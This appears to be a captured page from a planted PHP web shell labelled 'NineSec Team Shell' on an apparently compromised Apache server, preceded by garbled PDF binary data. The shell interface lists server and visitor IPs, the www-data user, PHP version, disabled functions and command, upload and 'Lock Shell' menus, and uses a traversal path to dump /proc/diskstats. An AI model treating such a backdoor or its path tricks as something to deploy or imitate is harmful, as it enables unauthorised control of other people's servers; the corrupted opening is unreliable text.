%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /mnt/../boot/../../../bin/../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //mnt/../boot/../../../bin/../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60519552 25948 6967400516 595345335 328218029 268196392 12275483090 262633191 0 22583209 857978526 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 286 0 286 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60518891 24891 6967349064 595345135 328217743 268196392 12275482804 262633167 0 28197556 857978303 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 511883897 227026312 54782120312 351825721 4107902340 982743484 67302738552 515815140 0 469039812 1080696442 0 0 0 0 1735023838 213055579
   8      32 sdc 498791854 237107810 56491005592 371361045 4163572086 982940368 68901996424 538448036 0 512231136 1125690506 0 0 0 0 1748656424 215881424
   8      16 sdb 513720811 227844775 55173886008 359168516 4568400183 1041123593 72346203960 573812257 0 525159406 1163964531 0 0 0 0 1922536999 230983756
   8      48 sdd 308557927 143595353 33621825816 197998773 3305183839 712753628 48968102120 366680345 0 362061260 732009135 0 0 0 0 1432590706 167330017
 252       0 dm-0 738910139 0 54782108232 570667385 5090645824 0 67302738552 2181906198 0 590852084 2752573583 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 452153210 0 33621813736 339363708 4017937467 0 48968102120 1340770301 0 464877481 1680134009 0 0 0 0 0 0
 252       3 dm-3 741565516 0 55173873928 579819901 5609523776 0 72346203960 2438214247 0 704720616 3018034148 0 0 0 0 0 0
 252       4 dm-4 735899594 0 56490993512 606930297 5146512454 0 68901996424 2320668115 0 730002732 2927598412 0 0 0 0 0 0
 252       5 dm-5 63788 0 5675730 16361 507028091 0 9084525176 72809485 0 15702805 72825846 0 0 0 0 0 0
 252       6 dm-6 12509169 0 6961642720 44943432 37208751 0 3190909860 19754566 0 81947651 64697998 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251       0 rbd0 1066381 116561 134660210 444945 17580414 27140557 406010784 43579878 0 57775496 44024824 0 0 0 0 0 0
 251      32 rbd2 159003 5379 5612082 93038 25454496 19229453 511655480 55925027 0 50167624 56018066 0 0 0 0 0 0
 251      64 rbd4 129539 30884 3772522 47765 26820811 46390158 640327472 61694380 0 36542339 61742146 0 0 0 0 0 0
 251      80 rbd5 89093 9616 6551666 45847 60970149 30524252 1554882456 116750193 0 73021564 116796040 0 0 0 0 0 0
 251     128 rbd8 7343 1251 771474 5150 12482465 1087467 127112392 24876576 0 15062437 24901848 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2811406 550702 121396592 7534316 0 10104452 7626240 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2295200 220163 22305381 5414026 0 4389125 5433846 0 0 0 0 0 0
 251     160 rbd10 135079982 280896 4603620098 75898861 281629189 98053593 6378013312 786852157 0 121995902 863463839 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105465 10087 8855596 63864 2252605 389713 52515968 5692379 0 5765253 5871485 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1959915 40586 32611904 4603509 0 3820932 4828643 14716 1500 109635296 2734 0 0
 251      96 rbd6 12193680 109805 401351642 34636013 89906403 17360164 2611916488 235698994 0 279179696 270335007 0 0 0 0 0 0

NineSec Team - 2022